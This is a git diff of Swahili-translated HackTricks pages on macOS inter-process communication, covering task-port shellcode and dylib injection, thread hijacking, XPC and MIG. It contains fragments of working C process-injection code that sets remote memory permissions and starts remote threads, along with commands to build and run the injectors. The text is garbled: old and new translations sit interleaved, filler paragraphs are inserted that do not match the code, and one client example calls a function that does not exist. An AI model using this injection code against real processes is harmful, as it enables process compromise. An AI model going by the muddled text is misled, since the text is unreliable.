* Piga `mach_task_self()` ili **kupata jina** la bandari hii kwa kazi ya mwito. Bandari hii inarithiwa tu wakati wa **`exec()`**; kazi mpya iliyoanzishwa na `fork()` hupata bandari mpya ya kazi (kama kesi maalum, kazi pia hupata bandari mpya ya kazi baada ya `exec()` katika binary ya suid). Njia pekee ya kuzalisha kazi na kupata bandari yake ni kufanya ["ngoma ya kubadilisha bandari"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) wakati wa kufanya `fork()`.
* **Bandari ya Kazi** (inayoitwa pia bandari ya kernel)**:** Ikiwa una ruhusa ya Kutuma juu ya bandari hii ni rahisi kudhibiti kazi (kusoma/kuandika kumbukumbu, kuunda nyuzi...).
* Piga simu `mach_task_self()` ili **pate jina** kwa bandari hii kwa kazi ya mpigaji. Bandari hii inarithiwa tu wakati wa **`exec()`**; kazi mpya iliyoanzishwa na `fork()` hupata bandari mpya ya kazi (kama kesi maalum, kazi pia hupata bandari mpya ya kazi baada ya `exec()` katika binary ya suid). Njia pekee ya kuzalisha kazi na kupata bandari yake ni kutekeleza ["ngoma ya kubadilisha bandari"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) wakati wa kufanya `fork()`.
* Hizi ni vizuizi vya kupata bandari (kutoka `macos_task_policy` kutoka kwa binary ya `AppleMobileFileIntegrity`):
* Ikiwa programu ina **ruhusa ya `com.apple.security.get-task-allow`** mchakato kutoka kwa **mtumiaji huyo anaweza kupata bandari ya kazi** (kawaida huongezwa na Xcode kwa ajili ya kurekebisha makosa). Mchakato wa **kuidhinisha** hautaruhusu hii kwa matoleo ya uzalishaji.
* Programu zenye **ruhusa ya `com.apple.system-task-ports`** wanaweza kupata **bandari ya kazi kwa mchakato wowote**, isipokuwa kernel. Katika toleo za zamani ilikuwa inaitwa **`task_for_pid-allow`**. Hii inatolewa tu kwa programu za Apple.
* **Mizizi inaweza kupata bandari za kazi** za programu **zisizotengenezwa** na kukimbia na **mazingira salama** (na sio kutoka Apple).
### Uingizaji wa Shellcode kwenye mnyororo kupitia Bandari ya Kazi
### Uingizaji wa Shellcode katika nyuzi kupitia Bandari ya Kazi
Unaweza kupata shellcode kutoka:
@ -443,9 +479,28 @@ return 0;
{% endtab %}
{% tab title="entitlements.plist" %}
### Mipangilio ya Kibali
### Maelezo
Faili hii ina orodha ya vibali vinavyohitajika na mchakato wa programu ili kufanya operesheni fulani kwenye mfumo wa macOS. Kwa kubadilisha faili hii, unaweza kubadilisha vibali vinavyopewa programu na hivyo kubadilisha uwezo wake wa kufanya kazi kwenye mfumo.
Faili hii ina orodha ya ruhusa zilizoidhinishwa kwa programu. Inaweza kujumuisha ruhusa kama vile kufikia folda maalum au kutumia huduma za mfumo. Kwa kawaida, faili hii hupatikana ndani ya mfuko wa programu ya macOS.
### Jinsi ya Kutumia
Unaweza kutumia faili hii kuchambua ruhusa zilizoidhinishwa za programu na kubaini ikiwa kuna nafasi ya kufanya uharibifu wa mchakato au kufanya mwingiliano kati ya michakato.
### Mifano
```xml
<key>com.apple.security.files.user-selected.read-write</key>
<true/>
<key>com.apple.security.print</key>
<true/>
```
Katika mfano huu, programu ina ruhusa ya kusoma na kuandika faili zilizochaguliwa na mtumiaji, pamoja na uwezo wa kuchapisha.
### Tahadhari
Kuhariri faili hii kwa makusudi kunaweza kusababisha programu kufanya vitendo visivyoidhinishwa au hatari kwa usalama wa mfumo. Jihadhari wakati unapobadilisha ruhusa za programu.
{% endtab %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -661,22 +716,21 @@ return 0;
}
```
</details>
### Maelezo ya Mchakato wa IPC wa macOS
Kwa kawaida, mchakato wa IPC wa macOS hutumiwa kwa mawasiliano kati ya michakato tofauti. Hata hivyo, inaweza kutumiwa vibaya kwa kusudi la kuvunja usalama au kupanda hadhi. Kwa mfano, mchakato mmoja unaweza kutuma ujumbe wa uongo kwa mchakato mwingine ili kupata ruhusa zisizostahili au kufikia data nyeti. Ni muhimu kuchunguza na kudhibiti matumizi ya mchakato wa IPC ili kuzuia uwezekano wa unyanyasaji wa mchakato katika mfumo wa macOS.
### Maelezo ya ziada
Unapotumia mawasiliano ya mchakato wa IPC kati ya mchakato wa kibinafsi na mchakato wa kawaida, unaweza kufanya vitendo vya kukiuka usalama kama vile kusoma au kuandika data ambayo haipaswi kupatikana. Kwa hivyo, ni muhimu kutekeleza hatua madhubuti za kuhakikisha usalama wa mawasiliano ya mchakato wa IPC kwenye mfumo wa MacOS.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Kuingiza Dylib katika thread kupitia Task port
### Uingizaji wa Dylib katika thread kupitia Bandari ya Kazi
Katika macOS **threads** inaweza kudhibitiwa kupitia **Mach** au kutumia **posix `pthread` api**. Thread tuliyounda katika kuingiza ya awali, iliumbwa kutumia Mach api, hivyo **haikufuata viwango vya posix**.
Katika macOS **threads** inaweza kudhibitiwa kupitia **Mach** au kutumia **posix `pthread` api**. Thread tuliyounda katika uingizaji uliopita, uliundwa kwa kutumia Mach api, hivyo **haifai kwa posix**.
Ilikuwa inawezekana **kuingiza shellcode rahisi** kutekeleza amri kwa sababu **haikuwa inahitaji kufanya kazi na posix** compliant apis, bali tu na Mach. **Kuingizwa kwa vitu vya kina zaidi** ingehitaji **thread** kuwa pia **posix compliant**.
Ilikuwa inawezekana **kuingiza shellcode rahisi** ili kutekeleza amri kwa sababu **haikuwa inahitaji kufanya kazi na posix** compliant apis, bali tu na Mach. **Uingizaji wa ngumu zaidi** ungehitaji **thread** kuwa pia **posix compliant**.
Hivyo basi, ili **kuboresha thread** ni vyema kuita **`pthread_create_from_mach_thread`** ambayo itaunda pthread halali. Kisha, pthread mpya hii inaweza **kuita dlopen** ili **kupakia dylib** kutoka kwenye mfumo, hivyo badala ya kuandika shellcode mpya kutekeleza hatua tofauti, ni rahisi kupakia maktaba za desturi.
Hivyo basi, ili **kuboresha thread** ni vyema iitwe **`pthread_create_from_mach_thread`** ambayo ita **umba pthread halali**. Kisha, pthread mpya hii inaweza **kuita dlopen** ili **kupakia dylib** kutoka kwenye mfumo, hivyo badala ya kuandika shellcode mpya kufanya vitendo tofauti ni vyema kupakia maktaba za desturi.
Unaweza kupata **mfano wa dylibs** katika (kwa mfano ule unaotengeneza logi kisha unaweza kusikiliza):
Unaweza kupata **dylibs mfano** katika (kwa mfano ile inayozalisha logi kisha unaweza kuisikiliza):
{% content-ref url="../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../macos-library-injection/macos-dyld-hijacking-and-dyld\_insert_libraries.md)
@ -884,7 +938,7 @@ return (-3);
// Set the permissions on the allocated code memory
```markdown
```c
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
@ -893,7 +947,7 @@ fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error
return (-4);
}
// Weka ruhusa kwenye kumbukumbu ya steki iliyotengwa
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
@ -903,14 +957,14 @@ return (-4);
}
// Unda mnyororo wa kutekeleza shellcode
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // hii ni steki halisi
//remoteStack64 -= 8; // inahitajika mlinganisho wa 16
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
@ -919,7 +973,7 @@ remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Steki ya Mbali 64 0x%llx, Kanuni ya Mbali ni %p\n", remoteStack64, p );
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
@ -938,8 +992,8 @@ int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Matumizi: %s _pid_ _kitendo_\n", argv[0]);
fprintf (stderr, " _kitendo_: njia ya dylib kwenye diski\n");
fprintf (stderr, "Matumizi: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: njia ya dylib kwenye diski\n");
exit(0);
}
@ -957,15 +1011,16 @@ fprintf(stderr,"Dylib haikupatikana\n");
}
```
</details>
### Maelezo ya ziada
Unapotumia mawasiliano ya mchakato wa IPC kati ya mchakato wa kibinafsi na mchakato wa kibinafsi, unaweza kufanya mambo mengi kama vile kusoma au kuandika data kwenye mchakato mwingine. Kwa hivyo, ni muhimu kudhibiti mchakato wa IPC kwa uangalifu ili kuzuia uwezekano wa unyanyasaji wa mchakato.
### Maelezo ya Mchakato wa IPC wa macOS
Kwa kawaida, mchakato wa IPC wa macOS unaweza kutumiwa kwa madhumuni mazuri kama vile kubadilishana data kati ya michakato. Hata hivyo, kwa upande mwingine, mchakato wa IPC unaweza pia kutumiwa vibaya kwa kusudi la kukiuka usalama au kufikia mamlaka ya ziada. Kwa hivyo, ni muhimu kuchunguza na kufahamu jinsi mchakato wa IPC unavyofanya kazi ili kuzuia matumizi mabaya.
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Kuteka Thread kupitia Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
### Kuteka Mjadala kupitia Bandari ya Kazi <a href="#hatua-1-kuteka-mjadala" id="hatua-1-kuteka-mjadala"></a>
Katika mbinu hii, wigo wa mchakato unatekwa:
Katika mbinu hii, mjadala wa mchakato unatekwa:
{% content-ref url="macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](macos-thread-injection-via-task-port.md)
@ -975,7 +1030,7 @@ Katika mbinu hii, wigo wa mchakato unatekwa:
### Taarifa Msingi
XPC, ambayo inasimama kwa XNU (jengo la msingi la macOS) Mawasiliano kati ya Michakato, ni mfumo wa **mawasiliano kati ya michakato** kwenye macOS na iOS. XPC hutoa njia ya kufanya **wito salama, usio na mpangilio kati ya michakato tofauti** kwenye mfumo. Ni sehemu ya mfumo wa usalama wa Apple, kuruhusu **ujenzi wa programu zilizotenganishwa kwa mamlaka** ambapo kila **sehemu** inaendeshwa na **ruhusa inayohitajika** kufanya kazi yake, hivyo kupunguza uharibifu unaoweza kutokea kutokana na mchakato uliokumbwa na shida.
XPC, ambayo inasimama kwa Mawasiliano ya Mchakato wa XNU (jopo la kimsingi linalotumiwa na macOS), ni mfumo wa **mawasiliano kati ya michakato** kwenye macOS na iOS. XPC hutoa njia ya kufanya **wito salama, usio wa moja kwa moja kati ya michakato tofauti** kwenye mfumo. Ni sehemu ya mfumo wa usalama wa Apple, kuruhusu **ujenzi wa programu zilizotenganishwa kwa mamlaka** ambapo kila **sehemu** inaendeshwa na **ruhusa inayohitajika tu** kufanya kazi yake, hivyo kupunguza uharibifu unaoweza kutokea kutokana na mchakato uliokumbwa na shida.
Kwa maelezo zaidi kuhusu jinsi hii **mawasiliano inavyofanya kazi** au jinsi inavyoweza kuwa **dhaifu**, angalia:
@ -983,11 +1038,11 @@ Kwa maelezo zaidi kuhusu jinsi hii **mawasiliano inavyofanya kazi** au jinsi ina
[macos-xpc](macos-xpc/)
{% endcontent-ref %}
## MIG - Mach Interface Generator
## MIG - Mjenzi wa Kiolesura cha Mach
MIG ilianzishwa ili **kurahisisha mchakato wa uundaji wa nambari za Mach IPC**. Hii ni kwa sababu kazi nyingi za programu ya RPC zinahusisha hatua sawa (kufunga hoja, kutuma ujumbe, kufungua data kwenye seva...).
MIG iliundwa ili **kurahisisha mchakato wa uundaji wa nambari ya Mach IPC**. Hii ni kwa sababu kazi nyingi za programu ya RPC zinahusisha hatua sawa (kufunga hoja, kutuma ujumbe, kufungua data kwenye seva...).
MIC kimsingi **huzalisha nambari inayohitajika** kwa seva na mteja kufanya mawasiliano kulingana na ufafanuzi uliopewa (katika IDL -Lugha ya Ufafanuzi wa Interface-). Hata kama nambari iliyozalishwa ni mbaya, mwandishi wa programu atahitaji tu kuagiza na nambari yake itakuwa rahisi zaidi kuliko hapo awali.
MIC kimsingi **inaunda nambari inayohitajika** kwa seva na mteja kufanya mawasiliano na ufafanuzi uliopewa (katika IDL -Lugha ya Ufafanuzi wa Kiolesura-). Hata kama nambari iliyoundwa ni mbaya, mwandishi wa programu atahitaji tu kuagiza na nambari yake itakuwa rahisi sana kuliko hapo awali.
Kwa maelezo zaidi angalia:
@ -1002,17 +1057,4 @@ Kwa maelezo zaidi angalia:
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
<details>
<summary><strong>Jifunze kuhusu kuteka AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
* [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)

View file

@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,18 +16,18 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
MIG iliundwa ili **kurahisisha mchakato wa uundaji wa nambari ya Mach IPC**. Kimsingi **inazalisha nambari inayohitajika** kwa seva na mteja ili kuwasiliana na ufafanuzi uliotolewa. Hata kama nambari iliyozalishwa ni mbaya, mwandishi wa programu atahitaji tu kuagiza na nambari yake itakuwa rahisi sana kuliko hapo awali.
MIG iliundwa ili **kurahisisha mchakato wa uundaji wa nambari ya Mach IPC**. Kimsingi **inazalisha nambari inayohitajika** kwa server na mteja kuingiliana na ufafanuzi uliopewa. Hata kama nambari iliyozalishwa ni mbaya, mwandishi wa programu atahitaji tu kuagiza na nambari yake itakuwa rahisi sana kuliko hapo awali.
Ufafanuzi unatajwa katika Lugha ya Ufafanuzi wa Interface (IDL) kwa kutumia kielelezo cha `.defs`.
Ufafanuzi huu una sehemu 5:
* **Tangazo la Subsystem**: Neno kuu la mfumo hutumiwa kuonyesha **jina** na **id**. Pia inawezekana kuashiria kama **`KernelServer`** ikiwa seva inapaswa kukimbia katika kernel.
* **Unganisho na uagizaji**: MIG hutumia C-prepocessor, hivyo inaweza kutumia uagizaji. Zaidi ya hayo, inawezekana kutumia `uimport` na `simport` kwa nambari iliyoundwa na mtumiaji au seva.
* **Tangazo la Subsystem**: Neno kuu la mfumo hutumiwa kuonyesha **jina** na **id**. Pia inawezekana kuashiria kama **`KernelServer`** ikiwa server inapaswa kukimbia katika kernel.
* **Unganisho na uagizaji**: MIG hutumia C-prepocessor, hivyo inaweza kutumia uagizaji. Zaidi ya hayo, inawezekana kutumia `uimport` na `simport` kwa nambari iliyoundwa na mtumiaji au server.
* **Tangazo la Aina**: Inawezekana kufafanua aina za data ingawa kawaida itaagiza `mach_types.defs` na `std_types.defs`. Kwa zile za desturi, sintaksia fulani inaweza kutumika:
* \[i`n/out]tran`: Kazi inayohitaji kutafsiriwa kutoka ujumbe unaokuja au kwenda
* `c[user/server]type`: Kufanana na aina nyingine ya C.
* `destructor`: Italeta kazi hii wakati aina inapotolewa.
* `destructor`: Italeta kazi hii wakati aina inaachiliwa.
* **Operesheni**: Hizi ni ufafanuzi wa njia za RPC. Kuna aina 5 tofauti:
* `routine`: Inatarajia jibu
* `simpleroutine`: Haina kutarajia jibu
@ -56,15 +56,20 @@ n2 : uint32_t);
```
{% endcode %}
Tambua kwamba **hoja ya kwanza ni bandari ya kufunga** na MIG ita **kushughulikia bandari ya majibu kiotomatiki** (isipokuwa kuita `mig_get_reply_port()` katika msimbo wa mteja). Zaidi ya hayo, **Kitambulisho cha shughuli** itakuwa **ya mfululizo** ikitoka kwa Kitambulisho cha mfumo ulioonyeshwa (kwa hivyo ikiwa shughuli imepitwa na wakati inafutwa na `skip` hutumiwa bado kutumia Kitambulisho chake).
Tafadhali kumbuka kwamba **hoja ya kwanza ni bandari ya kufunga** na MIG ita **kushughulikia bandari ya majibu kiotomatiki** (isipokuwa kuita `mig_get_reply_port()` katika msimbo wa mteja). Zaidi ya hayo, **Kitambulisho cha shughuli** itakuwa **ya mfululizo** ikitoka kwa Kitambulisho cha mfumo ulioonyeshwa (kwa hivyo ikiwa shughuli imepitwa na wakati inafutwa na `skip` hutumiwa bado kutumia Kitambulisho chake).
Sasa tumia MIG kuzalisha msimbo wa seva na mteja ambao utaweza kuwasiliana ndani yao wenyewe ili kuita kazi ya Kutoa:
Sasa tumia MIG kuzalisha msimbo wa seva na mteja ambao utaweza kuingiliana kati yao kuita kazi ya Kutoa:
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
Kadhaa za faili mpya zitaundwa kwenye saraka ya sasa.
Zitafunguliwa faili kadhaa mpya katika saraka ya sasa.
Katika faili **`myipcServer.c`** na **`myipcServer.h`** unaweza kupata tamko na ufafanuzi wa muundo **`SERVERPREFmyipc_subsystem`**, ambao kimsingi unafafanua kazi ya kuita kulingana na kitambulisho cha ujumbe uliopokelewa (tulitaja nambari ya kuanzia 500):
{% hint style="success" %}
Unaweza kupata mfano wenye utata zaidi kwenye mfumo wako kwa: `mdfind mach_port.defs`\
Na unaweza kuikusanya kutoka kwenye saraka ile ile kama faili na: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs`
{% endhint %}
Katika faili za **`myipcServer.c`** na **`myipcServer.h`** unaweza kupata tangazo na ufafanuzi wa muundo wa **`SERVERPREFmyipc_subsystem`**, ambao kimsingi unafafanua kazi ya kuita kulingana na kitambulisho cha ujumbe uliopokelewa (tulitaja nambari ya kuanzia 500):
{% tabs %}
{% tab title="myipcServer.c" %}
@ -89,7 +94,7 @@ myipc_server_routine,
### macOS MIG (Mach Interface Generator)
MIG is a tool used to define inter-process communication on macOS systems. It generates client-server communication code based on the interfaces defined in a .defs file. This allows processes to communicate with each other using messages.
MIG is a tool used to define inter-process communication on macOS systems. It generates client-server code for message-based communication between processes. By defining interfaces in a .defs file, MIG creates the necessary code for message handling, allowing processes to communicate with each other.
#### Example:
@ -101,9 +106,9 @@ MIG is a tool used to define inter-process communication on macOS systems. It ge
kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);
```
In this example, `myipc_server` is the function that will be called when a message is received by the server. The `InHeadP` parameter contains the incoming message, and the `OutHeadP` parameter is used to construct the outgoing message.
In this example, `myipc_server` is the function that handles incoming messages from clients. It processes the messages and generates appropriate responses.
MIG simplifies the task of implementing inter-process communication and is commonly used in macOS security research and development.
MIG simplifies the development of inter-process communication mechanisms on macOS, making it easier to implement secure and efficient communication between processes.
{% endtab %}
```c
@ -136,16 +141,18 @@ return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
Katika mfano huu tumetaja tu kazi 1 katika ufafanuzi, lakini ikiwa tungesema kazi zaidi, zingekuwa ndani ya safu ya **`SERVERPREFmyipc_subsystem`** na ya kwanza ingepewa kitambulisho cha **500**, ya pili kitambulisho cha **501**...
Katika mfano huu tumetaja tu kazi 1 katika ufafanuzi, lakini kama tungelitaja kazi zaidi, zingelikuwa ndani ya safu ya **`SERVERPREFmyipc_subsystem`** na ya kwanza ingelipewa ID **500**, ya pili ID **501**...
Kwa kweli ni rahisi kutambua uhusiano huu katika muundo wa **`subsystem_to_name_map_myipc`** kutoka **`myipcServer.h`**:
Ikiwa kazi ilikuwa inatarajiwa kutuma **jibu** kazi `mig_internal kern_return_t __MIG_check__Reply__<jina>` pia ingekuwepo.
Kwa kweli ni rahisi kutambua uhusiano huu katika muundo wa **`subsystem_to_name_map_myipc`** kutoka **`myipcServer.h`** (**`subsystem_to_name_map_***`** katika faili nyingine):
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
Hatimaye, kazi nyingine muhimu ya kufanya server ifanye kazi itakuwa **`myipc_server`**, ambayo ndiyo itakayoitisha **function** inayohusiana na id iliyopokelewa:
Hatimaye, kazi nyingine muhimu ya kufanya server ifanye kazi itakuwa **`myipc_server`**, ambayo ndiyo itakayoitisha **kazi inayohusiana** na kitambulisho kilichopokelewa:
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@ -179,9 +186,9 @@ return FALSE;
}
</code></pre>
Angalia mistari iliyotangazwa hapo awali ikifikia function ya kuita kwa ID.
Angalia mistari iliyotangazwa hapo awali inayofikia kazi ya kuita kwa kutumia kitambulisho.
Katika sehemu ifuatayo ni nambari ya kuunda **server** na **client** rahisi ambapo client anaweza kuita functions Subtract kutoka kwa server:
Msimu ufuatao ni nambari ya kuunda **server** na **mteja** ambapo mteja anaweza kuita kazi ya kutoa kutoka kwa server:
{% tabs %}
{% tab title="myipc_server.c" %}
@ -218,9 +225,32 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
{% endtab %}
{% tab title="myipc_client.c" %}
### Mteja wa IPC yangu
Hii ni programu ya mteja ambayo inatumia MIG kufanya mawasiliano na mchakato wa mwenyeji. Inaweza kutumika kama mfano wa jinsi ya kutumia MIG kwenye programu yako ya MacOS.
Hii ni programu ndogo ya mteja ambayo inatumia interface ya MIG kufanya mawasiliano na mchakato wa mwenyeji.
```c
#include <stdio.h>
#include <servers/bootstrap.h>
#include "myipc.h"
int main() {
ipc_port_t port;
kern_return_t kr;
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &port);
if (kr != KERN_SUCCESS) {
printf("Hitilafu wakati wa kutafuta mchakato wa mwenyeji: %s\n", mach_error_string(kr));
return 1;
}
myipc_ping(port);
return 0;
}
```
{% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -246,18 +276,39 @@ printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
```
### Uchambuzi wa Binary
{% endtab %}
{% endtabs %}
Kwa kuwa binaries nyingi sasa hutumia MIG kuonyesha mach ports, ni muhimu kujua jinsi ya **kutambua kwamba MIG ilitumika** na **kazi ambazo MIG inatekeleza** kwa kila kitambulisho cha ujumbe.
### Rekodi ya NDR
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) inaweza kuchambua habari za MIG kutoka kwa binary ya Mach-O ikionyesha kitambulisho cha ujumbe na kutambua kazi ya kutekeleza:
Rekodi ya NDR inaagizwa na `libsystem_kernel.dylib`, na ni muundo wa data ambao huruhusu MIG **kubadilisha data ili iwe haina upendeleo kwa mfumo** inayotumiwa kwani MIG ilikusudiwa kutumiwa kati ya mifumo tofauti (na siyo tu kwenye mashine moja).
Hii ni ya kuvutia kwa sababu ikiwa `_NDR_record` inapatikana kwenye binary kama tegemezi (`jtool2 -S <binary> | grep NDR` au `nm`), inamaanisha kuwa binary ni mteja au Seva wa MIG.
Zaidi ya hayo **Seva za MIG** zina meza ya kutuma katika `__DATA.__const` (au katika `__CONST.__constdata` kwenye kernel ya macOS na `__DATA_CONST.__const` kwenye kernel nyingine za \*OS). Hii inaweza kudakuliwa na **`jtool2`**.
Na **Wateja wa MIG** watatumia `__NDR_record` kutuma kwa kutumia `__mach_msg` kwa seva.
## Uchambuzi wa Binary
### jtool
Kwa kuwa binaries nyingi sasa hutumia MIG kuweka wazi bandari za mach, ni ya kuvutia kujua jinsi ya **kutambua kuwa MIG ilitumika** na **kazi ambazo MIG inatekeleza** na kila kitambulisho cha ujumbe.
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) inaweza kuchambua habari ya MIG kutoka kwa binary ya Mach-O ikionyesha kitambulisho cha ujumbe na kutambua kazi ya kutekelezwa:
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
Ilitajwa hapo awali kwamba kazi itakayoshughulikia **wito wa kazi sahihi kulingana na kitambulisho cha ujumbe uliopokelewa** ilikuwa `myipc_server`. Walakini, kwa kawaida hautakuwa na alama za binary (majina ya kazi), kwa hivyo ni muhimu **kuangalia jinsi inavyoonekana baada ya kudecompile** kwani itakuwa sawa sana (msimbo wa kazi hii ni huru kutoka kwa kazi zilizofunuliwa):
Zaidi ya hayo, kazi za MIG ni tu vifungashio vya kazi halisi inayoitwa, maana yake ni kwamba kupata uchambuzi wake na kutafuta BL unaweza kupata kazi halisi inayoitwa:
```bash
jtool2 -d __DATA.__const myipc_server | grep BL
```
### Utoaji wa Pamoja
Ilitajwa hapo awali kwamba kazi itakayoshughulikia **wito wa kazi sahihi kulingana na kitambulisho cha ujumbe uliopokelewa** ilikuwa `myipc_server`. Walakini, kawaida hautakuwa na alama za binary (hakuna majina ya kazi), kwa hivyo ni muhimu kuchunguza jinsi inavyoonekana baada ya kudecompile kwani itakuwa sawa sana (msimbo wa kazi hii ni huru kutoka kwa kazi zilizofunuliwa):
{% tabs %}
{% tab title="myipc_server decompiled 1" %}
{% tab title="myipc_server kudecompile 1" %}
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
@ -270,13 +321,13 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Wito wa sign_extend_64 ambao unaweza kusaidia kutambua kazi hii
// Hii inahifadhi katika rax pointer kwa wito unahitaji kuitwa
// Wito kwa sign_extend_64 inayoweza kusaidia kutambua kazi hii
// Hii inahifadhi rax kwa pointer kwa wito unahitaji kuitwa
// Angalia matumizi ya anwani 0x100004040 (array ya anwani za kazi)
// 0x1f4 = 500 (ID ya kuanzia)
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// If - else, ikiwa if inarudi uongo, wakati else inaita kazi sahihi na kurudi kweli
// Ikiwa - vinginevyo, ikiwa inarudi uwongo, wakati vinginevyo inaita kazi sahihi na inarudi kweli
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@ -299,8 +350,8 @@ return rax;
</code></pre>
{% endtab %}
{% tab title="myipc_server decompiled 2" %}
Hii ni kazi sawa iliyodecompilewa kwenye toleo tofauti la Hopper bure:
{% tab title="myipc_server kudecompile 2" %}
Hii ni kazi sawa iliyodecompile kwenye toleo tofauti la Hopper bure:
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@ -343,7 +394,7 @@ if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// If else sawa na toleo lililopita
// Ile ile if else kama katika toleo lililopita
// Angalia matumizi ya anwani 0x100004040 (array ya anwani za kazi)
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
